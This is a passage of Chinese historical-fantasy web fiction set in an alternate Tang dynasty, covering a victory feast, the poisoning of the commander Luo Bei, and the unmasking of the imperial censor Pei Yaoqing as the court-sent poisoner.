她放柔了语气:“如果您实在不甘心,我们就再出军队与那位唐人的将军决战好了。” “我们没有兵马了,母亲。”赤德祖赞挣开她的手,怔怔地望着天空,“不要再打仗、不要再流血了……我来写信,我们派出使者去苏毗、去长安,请伟大的大唐皇帝饶恕我们的不臣之举。告诉他们,我们永远甘于做大唐的奴仆。” 赞玛脱脱登失声痛哭,哭声连绵,几乎震动了整个逻些城。 一月之后,吐谷浑故都伏俟城外。 金雕已经长得比一人还高,就连洛北大帐中的架子也有些撑不住它。但它依旧乖顺地靠在洛北脚边,等着主人梳理它的绒毛。 “赤德祖赞想给我们什么?牦牛河?”洛北取下从长安来的字条,略扫了一眼,便递给一边的裴耀卿,“裴御史看呢?” 裴耀卿微微挑眉,他因不善武艺,在开战之前就被洛北送回了应龙城。奉命守卫应龙城的哥舒亶看他像看自己的眼珠子,恨不得上城墙巡视都带着他一块去。 结果就是,他的活动范围大大缩减,吃的东西却多了许多,一场大战下来,他不仅一点伤也没受,反倒胖了些许。 如今他陡然回到这座大帐,对着一群有了过命交情的洛北的亲朋故旧、下属门生,总有种不知所措的感觉。 好在洛北也看出来了这一点,每每遇事总是找他一起商量。这刻意的尊重让裴耀卿越发焦虑,但又无法将这莫名的焦虑向任何人表达。 “哪有把吃了的东西吐回去的道理!”骨力裴罗率先抢话,“赤德祖赞想要苏毗归附,也要看那位年轻的女王赵曳夫肯不肯答应。” “就算女王答应了,我们也不能应。”王训在一边道,“要是赞普想从我们手中把领土抢走,就请他带着兵马来!” 大帐之中顿时群情激愤。虽说乌海之战以大唐大胜,歼灭吐蕃主力告终,千里行军,高原苦寒,也让唐军自己的士兵死伤不少。 帐中的诸将谁没有几个战友埋在这片土地上,谁能接受自己抛头颅、洒热血换来的胜利换到的是这样一纸和约? 洛北看出裴耀卿脸上的尴尬,挥手试图止住众人,然而这温和的动作没有起到一点成效,他张口要说什么,却忍不住低身咳嗽起来。 郭知运和阙特勤离他最近,这时也顾不上抗议,一左一右地围到他身边,一个拍他的脊背,一个给他递来一杯温水。 “不要吵。”洛北将一杯温水饮尽,才复开口。 他声音不大,在这大帐之中却好似掷地有声,众人都停了下来,静静地望着他,最先挑事的骨力裴罗和王训更是一脸愧意,脸红得恨不得找个地方钻进去。 “裴御史,你说呢?” 洛北却不表达意见,只又把问题抛给裴耀卿,裴耀卿心底满是苦涩,脸上却挂出一派温和微笑:“我虽然不能亲履战阵,也与诸位将军感同身受,大帅,我也不赞成以牦牛河为界。” “好吧,既然这是诸位的意见,我赞成。” 洛北拍了拍郭知运的手臂示意自己无事,郭知运只得松开扶着他的手,重新站回队中,阙特勤却执拗地不肯回去,依旧站在他身侧后半步的位置。倒把原来当值的亲卫程千里挤得没了地方。 “知运,你替我拟一道奏疏,就说我们的意见,要求以苏毗西界鹘莽山为唐蕃之界,我军在苏毗境内设守捉,且吐蕃军队不得进入苏毗国境。” 洛北点了郭知运的名字,“拟完了我来领奏朝廷,裴御史署名,可行?” 他的后半句显然不是在同自己的下属郭知运商量。裴耀卿闻弦歌而知雅意:“如此最好,我愿与诸位一道上奏。” “还有一事。”洛北侧头看向慕容曦光河哥舒翰,“我上书请求朝廷重设西海、河源郡之事,已经为朝廷所准。朝廷已拟封吐谷浑首领慕容曦光为西海郡王,统领青海各部,并拔擢左卫中郎将哥舒翰为河源都督,戍守河源郡。” 西海郡王之职上一次授人还是给吐蕃雄主松赞干布,此次授给慕容曦光,个中深意不言而喻——这是给了慕容曦光节制青海的权力。 帐中一片欢腾,哥舒翰顾不上自己也封官受赏,推着慕容曦光来到帐中:“昨天我还在同曦光打赌,朝廷必要他率部西归,他不信,如今可是输了!” “你们赌了什么?”哥舒亶笑着问。 “十二桌庆功宴!”慕容曦光在一片笑闹声中笑道,“这不是好说得很!这样吧,请大哥哥准许我下令召集各部会盟,我把整个伏俟城的街面都摆上酒席,请你们喝个够!” 众人笑成一片,浑释之最是大声:“曦光王子这西海郡王还没当上就好深的算盘,说请客还要在伏俟城里请。这不是压着我们去帮你重建伏俟城么?” “我说释之,你就说这大酒你喝不喝吧。”慕容曦光笑意盈盈。 浑释之连忙摆手,又抢到洛北面前:“我说了可不算!” 慕容曦光也如同其他部族首领一样半跪在地,以一手抚肩,“请大哥哥准许!” 洛北本在看他们的热闹,见众人的目光都落在自己身上,才露出一点忍俊不禁:“曦光征召各部,何须我同意?” “大哥哥是碛西镇守使,又是大军主帅,应当有您点头。”慕容曦光坚持道。 洛北不欲同他僵持,闻言只点头道:“我准许。只有一条,若要雇佣士兵替你们修城,得按照市价的两倍付工钱。” “这好说!”慕容曦光又俯身一礼,谢过了他才肯起身,“大不了,我把我这些年的俸禄和赏赐都拿出来就是了!” 慕容曦光这些年戍守宫禁,确实拿了不少赏赐。这回他尽数慷慨地给了出来,给士兵们作为修城的彩头。不到一月功夫,伏俟城又焕然一新了起来。 “只是这些被火烧过的地方,春天到来之前是无法复原了。” 慕容曦光带着他们走过伏俟城的街头,已有游牧到此的部族儿女到街上购买过冬的食粮和衣物,从安西来的厚棉被算是最畅销的商品,几乎人人都要扛个一床回去,铺在毡毯上,或压在皮毛做的大袄上,能温暖一个冬天。 “不过等春天来了,我也未必要把这些堡垒复原。”他转向众人,年轻的脸上洋溢着笑容,“我打算在这些焦土上撒些种子,或种花草,或种粮食……旧日的痕迹和堡垒就让他们随着战火一道远去吧,接下来,是属于我们的和平时代。” 哥舒翰笑他:“这话说得好,明日正午做祝酒词正好!” 慕容曦光并未食言,这日正午开始,陆续一排排桌椅被摆在伏俟城的大街上。他设宴款待自己的战友和各部首领,顺便请众人见证各部会盟,他登上西海郡王之位的时刻。 “大哥哥愿意来替我主持仪式么?”这一天的晚上,慕容曦光来请求洛北,“祭山拜山的规矩、诸部会盟的礼仪,怕是没有人比大哥哥更熟悉了。” 洛北斜靠在榻上看一本书,有些不解地抬头看他:“我去?” 他确实是唐军主帅,此刻慕容曦光的上级不假。但他也是大唐的西突厥大汗,自带传说的“乌特特勤”,若他主持仪式,只怕青海诸部不一定会认慕容曦光为自己的君主。 慕容曦光目光诚挚:“大哥哥当受此礼,更何况……我还打算带着各部首领,三年一次,去金山会盟呢。” 第250章 “酒里,酒里有毒。” 从慕容曦光的眼眸中, 洛北读懂了他的未竟之言。 慕容曦光年少,又久在长安,便是战功彪炳, 也难以弹压住这群心怀鬼胎的各部首领, 他想快速把威信建立起来,除却自己主持会盟之外,最容易的办法就是借用洛北的力量。 对于这些年生活在洛北治下的碛西儿女来说,洛北已经不再是一位统治他们的君主。他是神明化身,是天命所归……若非如此, 他怎么可能完成这些从未有人完成的事业? 都说君权神授,慕容曦光是要从已经被碛西各部神化的洛北手中拿到这份天命的认可。 到底是自己看着长大的少年人,洛北没有思索很久, 便点头认下了慕容曦光的安排:“可以,我只有一个条件。” 慕容曦光好奇道:“大哥哥还能有求于我?” “有,是件小事。你军中那个叫李嗣业的将领, 把他放给我如何?我会让他在碎叶学习几年。” 慕容曦光笑道:“大哥哥开口, 我岂有不答应的道理?再说,嗣业也一直想找机会报答大哥哥的救命之恩,只是……我可否知道,大哥哥打算把他安置在何处?” “吐火罗或者呼罗珊。”洛北坦然答道, “波善活现在能算得上是个好首领,但他在军事上没有什么天赋, 所以我要一位更有力的将领襄助他。” “哎呀,这下我可有些羡慕嗣业了。”慕容曦光摇了摇头,与洛北玩笑:“我至今还未踏足过那商旅繁华、花果飘香的富饶之地呢。” 次日清晨, 当洛北一身大唐郡王的紫色袍服,在青海湖未尽的晨雾里现身, 一步步登上祭祀山神与海神的祭坛时,各部首领甚至怀疑自己见到是一个活生生的人,还是神明投诸人间的一个影子。 他自匣中取出诏书,展开诵读: “咨尔慕容曦光,克绍西海” 诏书上的飞白体在晨雾中宛若游龙,他宣读一毕,又将诏书合拢,轻轻放在了跪倒在地的慕容曦光抬起的双手上。 “万岁!”慕容曦光高声应诏,声音几乎响彻冰面与雪山。 祭坛左侧的诸部首领接连匍匐在地,随他的声音而和: “万岁!” 朔风吹过洛北的袍服,吹得衣摆卷翻如波浪,他望着慕容曦光站起身,面向诸部,向他们许以永恒的和平和欢乐,仿佛看到了多年前站在城中高台上的那个孩子。 慕容曦光将祭品尽数放入祭坛之上的火堆中,又将一壶美酒洒在地上,才退到一边。 哥舒翰自队列之中上前,一撩衣摆,跪倒在洛北目前。 前一夜洛北已同慕容曦光与两位哥舒部的将军商议过,要想在短时间内稳住河源郡的局势,便是准许哥舒部的族人西迁河源。 “我可没有意见。”做了许多年哥舒部首领的哥舒亶笑道,“这些年承平日久,哥舒部的族人们也常嫌自己的牧场不够,若西海郡王愿意许诺我的族人有安居乐业之地,我自然愿意。” 慕容曦光笑着颔首,还未说话,哥舒翰已经开口: “叔父这是什么话?哥舒部和吐谷浑部都是大唐的子民,曦光守土牧民,我节制军事,都是为了给他们安定的生活,还分什么你的我的?” 他一脸意气风发,好像如今这一切都是理所应当,天经地义。哥舒亶低头想要说什么,但在他的目光碰到洛北那平静的金色眼眸时,又停住了。 既然如今的和平与繁华都是洛北一手创造,那么在洛北所在之时,这和平和繁华便应当会永世流传吧? 如今,哥舒亶看着自己的侄子心甘情愿地跪倒在这位自他少年时代便梦想着为他出军作战的传奇面前,满怀感激地接过大唐将“河源军务悉委哥舒”的诏书——不由得感慨: 与洛北生同时,是件幸运的事情。 宴席自这日正午开始。信守诺言的慕容曦光在伏俟城内外的街道上都摆起了宴席。士兵们在军营中欢歌畅饮,百姓们在街道上、草原上载歌载舞。 王帐中的将军们与各部首领的宴饮更是一直持续到夜幕降临。当夜风吹拂过大帐之中时,慕容曦光还命人把菜肴换上自呼罗珊来的波斯金盘。 烤全羊的焦香混着野蒜气息,与烤鱼的鲜味在火光里交织成氤氲的雾气。场中的女郎们顺着乐音载歌载舞。 阙特勤用佩刀将几块裹着蜜汁的肉块片到洛北盘中,却见他的目光落在一边的哥舒翰身上。 那小子此刻正站在自己位置上,一手叉者腰,一手拿着酒坛子往自己嘴里灌。一连喝倒了十二个青海各部前来敬酒的贵胄子弟。 “你要是想下场拼酒,今晚我替你巡营就是了。”阙特勤笑道,“要是我记得不错。自从我们到青海打仗以来,你就已经滴酒不沾了吧。” 洛北偏过头,向他投以嗔怪的一瞥:“我在这里有我自己的职责要尽,你可曾见过哪家供奉的神佛菩萨亲自下场去拼酒?” “我以为你不信鬼神。”阙特勤端起金杯抿了一口酒水,他一时不知怎么劝慰洛北,只得陪着他看着场上。 也不知是谁起哄,年轻的西海郡王慕容曦光突然拔剑跃上食案,剑尖挑起银壶倾倒而下的葡萄酿,寒光过处,竟能将酒液悉数倒入自己的酒杯之中。 “好!”“精彩!” 呼喊和欢呼声一起响彻云霄,几乎能把帐顶掀翻。有人甚至把手中的琉璃碗都摔在了地上,酒水溅湿了自己的半边衣摆。 “洛将军!”在一片喧嚣之中,忽而有人举着鎏金的酒杯跪到洛北面前。 洛北上下把他打量一番,眼前人面颊上染着两团红晕,身上却穿着唐人们最常穿的交领袍服: “我记得你。你是吐谷浑王子坌达延墀松身边的副将吧?你这身汉家衣裳要比吐蕃的华服好看得多。” 那人似乎没想到洛北还能记得自己,咧开嘴笑得高兴:“洛将军记得我?那今日我定要与将军满饮此杯为贺!” “我今天已经喝了太多酒……”洛北脸上带着笑,说出的话却已是明确的拒绝。 “将军岂能这么对待我们归附的吐谷浑各部?”那人膝行半步,几乎要凑近洛北面前的桌案。 阙特勤离这个位置最近,一只手已经按在了刀柄上。原本侍立在洛北身后的王训也上前来——今日是他当值,他婉拒了骨力裴罗等人邀请他在军营里庆功的建议,执意站在洛北身侧。 洛北伸手按住突厥将军青筋暴起的手腕,金瞳里倒映着酒液浮动的涟漪。 “好吧。”他的声音像昆仑山上的雪,甚至带着一点叹息:“那我与你满饮此杯。” 两人手中酒杯一碰。那吐谷浑贵胄喝得又快又急,几乎将酒液洒了自己一身。他急急地喝完酒,又将酒杯倒扣在桌上,以示自己的诚意。 洛北喝得不疾不徐,最后也将杯子倒扣举起。那人一拍手:“将军果然是英雄!我佩服!” 洛北笑了,他伸手唤来王训:“夜已经深了,酒喝到现在也差不多了。王训,扶我一把。我们率先离席吧。” 王训颔首,伸手虚扶了他一把。洛北就这样站起身来。慕容曦光见状也立起身,与满帐的人一起道礼。 “我在那里坐着,他们谁也不敢继续喝。”出了大帐,洛北才笑着和王训解释,“不如我们早些离场,让他们各自尽欢。还有你……要是这会儿去营中,大概还能赶上骨力裴罗他们的后半轮。至少还有五六圈舞好跳。” 王训笑了:“我可不像他们似的那么会跳舞,上回跳圈子舞,我同浑释之前后家,半支曲子里踩掉了他三回鞋子!后来每次跳舞,骨力裴罗都要拿这事笑我。” 洛北哈哈大笑:“跳舞这东西,本就是多练才会的……咳……” 许是帐篷里太热,出来又呛了风,他这回咳得一发不可收拾,王训只忽而觉得手上一重,竟是洛北已经没办法撑住身体,下意识地把大半个身子的重量都压在了他身上。 “将军,将军,伯克!”虽是已能领兵作战的少年将军,遇到这样的情况,王训顿时觉得手脚发软,手足无措,他下意识地要扭头喊人,衣袖却被洛北轻轻扯了扯:“不要声张……前线……吐蕃……” 洛北似乎有许多话要说,但说出的话已经不能连结成句,最后两个字吐出来的时候,人已经失去了意识。 王训颤抖着手去摸他的鼻息,虽然气息尚存,但手上一片湿乎乎的触感。 都是黑色的血。 王训的眼泪止不住地流了下来,他半抱半扶着洛北,一动也不敢动,更不敢说话。等阙特勤察觉到不对追出来的时候,他已是满脸泪痕:“阿阙将军……” 一股极为不妙的预感自阙特勤的心底盘旋上来。他快跑几步,自王训手中接过洛北:“乌特这是怎么了?” “酒里,酒里有毒。” 阙特勤脸色一凝:“这群贼心不死的吐蕃崽子敢这样干?!我这就去点兵!” “将军说不许我们声张!”王训忙止住他,“我们,我们怎么办?” 他已经明白了洛北最后要说的话,洛北不许他声张,便是害怕一旦他真的山陵崩,吐蕃人会不顾一切地反扑。 那时正值唐军军心动荡,若真的把苏毗等地又输了回去,那此前他们所做的一切努力、将士们的鲜血和汗水……一切的一切,都会化为乌有。 重压之下,阙特勤脸上也出现了如同洛北那般平静的神情,他抱起洛北: “先把乌特送回营中,再找个信得过的军医来。对了,除了慕容曦光之外,在场的一众将领之中,乌特最信任的是谁?” “郭知运郭将军吧。”有阙特勤的命令,王训才能强迫自己静下心来思考,“郭将军毕竟是洛将军在鸣沙时的旧部。” “好,那你一会儿去把郭知运也叫来。”阙特勤注视着王训的眼睛,刻意放柔了声音:“我要他和我一起控住我们手下的大军,你呢?孩子,你可否答应我,把消息封锁在军营之内,绝不外泄?” “是!将军!”王训应了一声,立刻跑开了。 250-260 第251章 传说是洛北天命已尽,到了魂归九天的时刻。 纵然阙特勤和郭知运封锁消息的动作极快, 宴饮之后再未露面的主帅还是在营中掀起了一阵恐慌不祥的氛围。 无数窃窃私语在营帐之中流传,其中最好的传说是洛北已替大唐征伐了边境十余年,如今突厥、突骑施、河中、大食、吐蕃等归附的归附、灭国的灭国、乞和的乞和。洛北天命已尽, 到了魂归九天的时刻。 最差的流言是从归附的吐蕃营帐里传出的, 那里的人们说,是逻些城的吐蕃法师用秘术诅咒了唐人的主帅,唐人的主帅必将为他的胜利付出代价。 这样的流言不可避免地传到慕容曦光耳中,年轻的西海郡王怒不可遏,他责令通查全军, 非要把流言的源头纠出来不可。但愤怒之外,这些追随洛北多年的将军们也难免露出惊惶无主的目光。 数日之后,突如其来的一场大雪把事情变得更坏。 为了躲避风雪, 阙特勤和郭知运决定把大军撤入城中。 当军人们排成长列,如流水一般进入伏俟城中时,大雪便突如其来地落了下来, 几乎是片刻之间, 天地之间只有风雪茫茫,只有一片银白。 不知道是谁说,这是上天要全军为主帅戴孝,这是上天要为洛将军送行了。 这下就连多日来以副帅之身主持内外庶务的阙特勤都听到了, 他什么都没说,却在下城楼时跄踉了步子, 重重地摔了一跤。 “左贤王!”骨力裴罗连忙去扶他,声音里已经带了哭腔,“我们怎么办?” 怎么办?阙特勤似乎从未想过这个问题。对他来说, 他不过是在挚友突然病重的时候替他主持了几日军事。就像过去他们在突厥牙帐里互相打掩护,这一切很快又会自然而然地回到正轨。 “胡说什么?!”他咬牙对这个将会继任回纥部首领的少年道, “你家大汗还没死呢!” 骨力裴罗期期艾艾地应下来,伸手擦干要凝成冰碴的眼泪,好像他想听的就是这句话:“是。左贤王。” 可回到洛北修养的卧房之中,阙特勤也忍不住双手掩面: “我说乌特。你不会真的把这个摊子丢给我吧?你真把我当大唐忠臣啦?你不怕我立刻号令各部,围攻大唐边境吗?要知道,自青海西下,先到凤翔,之后就是长安……” 他碎碎念地说完,又回头去看洛北的脸,他的兄弟和挚友依旧躺在那张病榻上,脸色苍白如纸,呼吸微弱得好像下一刻就会消失。 “我求过祆神。”阙特勤抓着他的手腕,还好,脉搏声还在,“祂应允我们赛完那场赛马,祆神他……不会这么快让你回到他身边的。” “阙特勤将军。”郭知运本来通告他军情,见到这一幕也忍不住哽咽了声音,“军报……” 阙特勤站起身:“说!” “吐蕃赞普亲自带兵东进,要收复苏毗!” “这是演给我们看呢!”营中议事时,哥舒翰差点掀了桌子,“长安的议和使团一个接一个,大军还在偷偷地往前线压。吐蕃王家想得美!我要出兵去教训他们!” “不要冲动。”哥舒亶揉了揉眉心,劝住自己这位侄子,“狂风朔雪的季节,出兵向西和自杀没有区别。吐蕃人久在高原,适应那里的气候,我们和他们不一样。” “那就让他们这样欺负我们不成?!”哥舒翰拉高了声音,“若是苏毗失陷,长安的谈判怎么谈?更重要的是……” “长安会怎么看洛将军?” 这一句话把帐中拉进了一片冷肃的沉默之中。他们遮遮掩掩,只告诉长安来的监军御史裴耀卿洛北是染了风寒,需要静养。 但裴耀卿又不是傻子,军中流言乱飞,一众高级将领仓皇至此,便是猜,也能猜到个中缘由。 要是苏毗这战一败,长安就有正大光明的理由撤掉洛北这个主帅,把他手中的军权收到皇帝手中。 “我带兵去。” 就在众人一筹莫展之际,坐在门边的李嗣业忽而起身,他身上伤未痊愈,此刻是靠着自己的那柄陌刀在说话: “大帅对我有救命之恩,如今危难当头,我当效死以报。” 他望着众人,眼中一片赤诚:“军中受大帅深恩的兄弟不在少数,我愿从他们之中征召一支敢死队,西去苏毗与吐蕃人对峙。” 慕容曦光看着他,唇边不禁流露一抹苦笑,谁能想到洛北还曾殷切期望过这个年轻的将领成为河中的定海神针: “好,既然如此,你去征召部队吧。等到雪一停,你们就出发,我会派出吐谷浑部队护送你们,记住,若非吐蕃主动出击,不要轻易出战。” “是。”李嗣业抱拳应下,转身出了帐篷。 风雪之中,王训与他身形交错,这个沉默内敛的少年人此刻紧握着双拳,脸上是掩不住的愤怒: “各位将军,我抓到了!” 阙特勤凝眉问他:“抓到了什么?” “吐谷浑王子坌达延墀松!” 吐蕃公主与吐谷浑王室的后人此刻穿着普通牧民的衣裳,脸上满是灰尘,身上还有脚印。他被五花大绑在伏俟城多年无用的监狱之中,眼神里是说不出的嘲讽之意。 慕容曦光紧紧盯着这张与自己有三分相似的面容,转而以吐谷浑语发问:“是你谋害了洛将军?!” “多可怜的慕容氏族人,”坌达延墀松冷笑一声,“你已经成为了别人手里的鹰犬,还要问我,为什么要谋害你的主人……为什么?因为他击败了我的军队,因为他不可一世,战功赫赫。” “草原上从来没有这样的规矩!”阙特勤厉声喝问,“在战场上的失败就是失败,你身为大军主帅,竟然用毒酒这样的办法来谋害别人,你会让你的祖先蒙羞!” “如果指责我能让你更好受些,突厥的左贤王,你就尽情指责好了。”坌达延墀松冷笑一声,“我知道你们突厥人把他称为祆神的化身——他有祆神赐福的眼睛,却未能看破我下在他杯中的毒药,看来你们的神也就那么回事吗?” 他本想仰天大笑,声音却被压在喉咙里,郭知运上前半步,一手拎起他的衣襟:“把毒药的方子给我,我饶你不死。” “饶我不死?”坌达延墀松好像听到了世上最好笑的笑话,他忍不住笑出了眼泪,“郭将军,你要杀就杀,要剐就剐。有大唐军神,大名鼎鼎的洛北将军陪我上路,我有什么寂寞的呢?” “你……”郭知运厉声要骂什么,却只能从牙缝里挤出一个字来,他几度压不下怒火,还未说话,旁边的哥舒亶已经拔刀出鞘:“那我成全你!” “等一等!” 风雪随着来人的动作灌进了牢房之中,夜风之中,她的广袖如同旗帜一样猎猎作响。 来人正是洛北的幕府掌书记褚沅。 她连身上的风雪也来不及掸,便走到众人之中,开口以吐蕃话对坌达延墀松发问:“你说你下了毒药,那你一定记得那只酒瓶的模样吧?” 坌达延墀松狐疑地看着她,似乎是猜不准此人的身份:“你是什么东西?也配向我发问?” 褚沅轻轻笑了,那笑容不到眼底,只有一片冰冷: “王训。”她转头问带她来的少年,“你去把这次宴会的酒瓶都拿来。” 王训应了一声,转身出门。 “你可以不按照我说的做。”褚沅继续用吐蕃话向坌达延墀松发话,“不过这样,你也会错失唯一一次证明洛将军是为你所杀的机会。” “等在场的各位将军们把你处决,我会起草文书,对外宣称你是被我军在普通牧民家后处死。”褚沅轻声道,“你的名字会和懦夫联系在一起,而不是一个勇士。” “你不能!”坌达延墀松胸膛猛烈起伏,“你不能这么做!” “我可以。因为我是替洛将军处理文书的人。”褚沅从王训手中接过木盘,把酒瓶摆在坌达延墀松面前,“选吧,选出你下毒的那个瓶子。” “我,我是在杯子里下的毒。”坌达延墀松咬了咬牙,“我得到了我的族人们的帮助。” “哦?是吗?”褚沅歪了歪脑袋,似乎觉得他的话很有意思,“那是什么样的杯子?红色的玛瑙杯,还是透明的水晶杯,还是于阗来的玉杯?” “是水晶杯!”坌达延墀松道,“是波斯来的水晶杯,我见过……” “你在说谎。”褚沅冷下脸,打断了他的解释,“在这样的地方,大军从北庭出发,根本就不会带宴饮用的水晶杯。” “那是玛瑙杯。”坌达延墀松连忙找补。 “我没有兴趣在这里听你瞎猜一遍,相信各位将军们也没有。”褚沅凑近他,用腰间取出的金错刀刀背拍了拍他的脸,“我们会把你羁押起来,清查你在各部之中的势力和残留,你很快就要和你曾经的族人和部下们见面了……你可以想想,你怎么同他们解释你的不告而别。” 她丢下崩溃的坌达延墀松第一个出了牢房,阙特勤立刻跟在她身后,而后是郭知运、慕容曦光…… “曦光。”褚沅看向慕容曦光,“找两三个喜欢打听故事的吐谷浑人看着他,三天内,我要此人的懦夫之名传遍整个青海。” “是。”慕容曦光低声应下,却不免好奇,“虞国夫人怎么会来伏俟城?莫非……” “我本来有另外一件要事要禀报将军。”褚沅苦笑了一声,“谁料到了营中才听王训说到洛将军的事情……诸位,我能去看看洛将军吗?” 第252章 “士为知己者死,我为相王做事,并不后悔。” 褚沅到来的第二日, 伏俟城久违地迎来了日光。 李嗣业亦将驰援苏毗的消息放了出去,一日之间,有无数人拥到他的帐外。他将笔悬在名册上, 久久不能下笔, 忽听得帐外传来浑释之的暴喝: “排队!再挤的拖出去抽十鞭!” 帐帘被猛地掀起,十七八张年轻面孔撞进晨光里。 领头的少年靴筒还插着宴饮上用来割肉的金匕首,脖颈却绷得笔直:“将军,我们营四十人全通吐蕃话!”后头立即响起此起彼伏的嚷声:“我们会训鹘鹰!”“我能三天不眠奔袭!” 李嗣业笔杆重重敲在案头,震得砚台里墨都要溅上帐布。他正要训斥什么, 帐外忽而传来了马匹的嘶鸣。 裴耀卿的绿袍在一片兵荒马乱中格外刺眼。监军御史下攥着发白的手指节,挺直脊背穿过校场。 “军中动用兵马,为何我浑然不知?”他高声问。 李嗣业还未说话, 哥舒翰和慕容曦光已经从一侧走了出来,他声音微沉: “裴御史,朝廷已经委任我和曦光节制青海诸部兵马, 我们征召兵马, 应当不用劳烦你上奏朝廷。” “那洛北呢?”裴耀卿与他俩针锋相对,“他是大军主帅,这样的大事,他连面都不露?” 帐中骤然死寂, 慕容曦光忽而抽出自己腰间的金鱼袋掷在案上:“我与洛将军俱是朝廷郡王,青海的规矩, 应该是我们来决定。” “青海是大唐的青海!不是他洛北的,也不是你慕容曦光的!” 裴耀卿抖开一卷黄麻纸,连着金牌一同亮在众人面前, “朝廷急令,命洛将军领军回朝。我已经挡下了三枚金牌, 这是第四枚。我不可能再挡下去。诸位,你们打算瞒我多久?” 李嗣业突然按住陌刀起身: “裴御史可知吐蕃的前锋骑兵已经到了苏毗境内?你在这里与我们争论的一刻,前线便有一分危险!” 裴耀卿不退反进:“正因军情如火,才需要把这些事情弄明白,如果洛将军真的……” 他最后半句话被猛然入帐的日光割断。褚沅一身素色,腰间挂着金鱼袋逆光而立,语气依旧很温和,神情却带着一点昔年女皇近侍才有的盛气凌人: “裴御史,可否同我移步他处?我有话要与你相谈。” “虞国夫人何时到了前线?” 裴耀卿看到她,更加坚定自己的判断,褚沅是洛北最信任的心腹之一,平常都是坐镇西域替他处理一切庶务,若非洛北出事,她怎么会匆忙赶到青海来? 褚沅轻轻笑了一下,眼中没有多少温度:“我只说一句话,等我说完,裴御史自行可以决定要不要同我出来。” “我的这句话是,太平大长公主今日已经回到了长安。” 裴耀卿神色一变,他的目光从哥舒翰的脸上挪到褚沅的脸上,年轻的女官目光灼灼地与他对视,她的眼眸是比洛北更深的棕,像是某种坚韧生长的植物: “你说什么?!” 那位自愿离开长安,周游天下匡扶女业,巡视女学的太平大长公主怎么会突然回京?她到底知道了什么? 褚沅没有回答,她折身掀开帘帐,示意裴耀卿同她出帐。裴耀卿犹疑片刻,还是先她一步走出帐外。 “哥舒都督、李校尉,两位不必担心,照常行事即可。”临出帐之前,褚沅转过身,对两位年轻的将军道,“你们尽管出战,长安的任何人、任何事,都不会挡在你们面前。” 褚沅挑选的谈话场地是个僻静的营帐,四下寂静,只有牛油大灯熊熊燃烧,裴耀卿看了看帐中无人,就迫不及待地发问:“你刚刚那句话是什么意思?” “我的意思是,陛下病重的消息已经传到了太平大长公主耳中。”褚沅声音很平静,“你们先隔绝内外,封锁陛下病重的消息,可惜又棋差一招。” “上官太妃,一定是她!当初我们就该把她关起来!”裴耀卿瞪大眼睛,“……但没有陛下诏书,太平公主也不得……” “陛下身边还能一个忠臣也没有吗?”褚沅上前半步,自袖间拿出一幅明黄手绢,“相王已经能把陛下逼到写‘衣带诏’的地步。为什么还要你来青海杀洛将军?你们应当都知道,洛将军远离朝政多年,且绝无自立之心。” 裴耀卿苦笑一声,一切的计划都在朝着他没有想到的方向发展,此刻他只觉得天旋地转,但面对褚沅,他不能让自己落于下风: “我不知道褚夫人在说什么。” “你不知道吗?”褚沅步步进逼,“你每一天都在他的杯中下毒,你每一天都看着他一天咳过一天,你每一天都看着你的主帅走向死亡,你不知道?” 质询变成了高声质问,褚沅声声如同泣血,她从袖口中摸出一只金杯——这才是洛北惯常用的那只,她将杯子重重磕在桌上: “你当我没见过这种毒药吗?当年女皇毒杀窦妃和刘妃就是这样的毒药!” 裴耀卿张了张口,一句话也说不出来了。 “你用这种药用得太少了,你不知道,这种药会在你的衣袖上留下一道挥之不去的味道,虽然很淡很淡,但是洗不掉,擦不脱。”褚沅拎起他官服的衣袖,“你的每一件衣服上都沾了这个味道,只是你不知道。” 裴耀卿苦笑一声:“士为知己者死,我为相王做事,并不后悔,可是虞国夫人既然已经将我拆穿,为什么不杀了我?” 他双眼中似有讽刺神色:“总不是曾经替女皇行走黑夜的褚夫人不想再杀人了吧?那你可以把我交给这座军营里的任何一个士兵……他们会很乐意代你履行职责。” “还是那个问题,”褚沅问,“你知道洛将军既然向陛下要了永镇碛西的恩典,便不会插手朝政。他又从未有自立之心,相王为什么一定要他死?” “夫人。难道官场上的人,杀人还有对错吗?” 裴耀卿黯然地看着她,唇边挂上了一抹讽刺的笑, “满朝大概也就陛下和洛将军自己不明白,陛下之所以能登基为帝,能逼迫自己的堂兄弟自尽,能逼迫相王殿下和他演什么皇室亲情的典范……都是因为洛将军手中的军权。” “要是没有他这位大唐军神的声望,没有他塞外这数十万兵马,没有他控制禁军,陛下还能坐得住那个位置吗?”裴耀卿干巴巴地笑了一声,“可惜陛下不明白,他如果真的能想清楚,也不会接受相王的举荐把我派到青海来。” 他说完这句话,似乎已经支撑不住身体,彻底靠着柱子滑倒在地:“长安的每个人都想洛将军死,所以他们让我来担这个责任。我受相王知遇之恩深重,所以也愿意担这个责任。” 他颓唐地闭上眼:“现在你得到了你问题的答案了,杀了我吧。” “杀了你,好成就你的忠义之名吗?”褚沅冷笑一声,拂袖回身,“王翰!你都记下来了吗?” 王翰颤抖着双手从营帐的屏风后走了出来,昔日夸耀的书法已经在纸上抖成一片:“耀卿……这是真的吗?真的是你毒杀洛将军,你可知道……” 王翰的眼泪先流了下来,他这些年坐镇碎叶,深知洛北对于碛西百姓意味着什么,他不只是主帅、不只是统治者,而是一种精神,一种信仰。一旦他身死魂灭,碛西会怎么样? 更何况,任何与洛北朝夕相处的人都会很容易地被他打动。当裴耀卿一边接受洛北的友谊,一边在他的杯中下毒的时候,这个素有神童之名的人,又在想什么呢? 裴耀卿没有想到他会在这里,面向他的质问,一时之间神情复杂,困惑、惊恐、还有一点点的愧疚。 他五味杂陈,长长地叹了口气:“王翰兄,我……” “王训。”褚沅侧身叫来那个沉默内敛的少年,“把裴御史关起来,等回了长安,我要把他送到刑部法办。” 她走到王训身侧,仰头看着自己曾经俯视的孩子:“王训,你能答应我,不要将此事泄露出去吗?” “褚姑姑,可是是他谋害了洛将军,将军如今生死不知,我怎么能……”王训倔强地摇了摇头,“我不能答应你,褚姑姑,我一定要他得到应有的惩罚。” “洛将军会平安无事的。我以女皇给我的牡丹令牌发誓。”褚沅低声向他保证,“如果他醒了,他也不希望监军御史就这样死在自己的营帐里,你总要为你的主帅考虑考虑。” 王训久久思索,才应了下来,但他推搡裴耀卿的动作却不客气,显然是没能从私怨里脱出身来。 “可是我还是不明白。”待到帐中只剩他与褚沅,王翰终究是忍不住心中的疑惑,“我在鸣沙和洛公子朝夕相处过,知道他的医术何等高妙,身边人给自己下毒,他怎么会一点也不知道呢?” 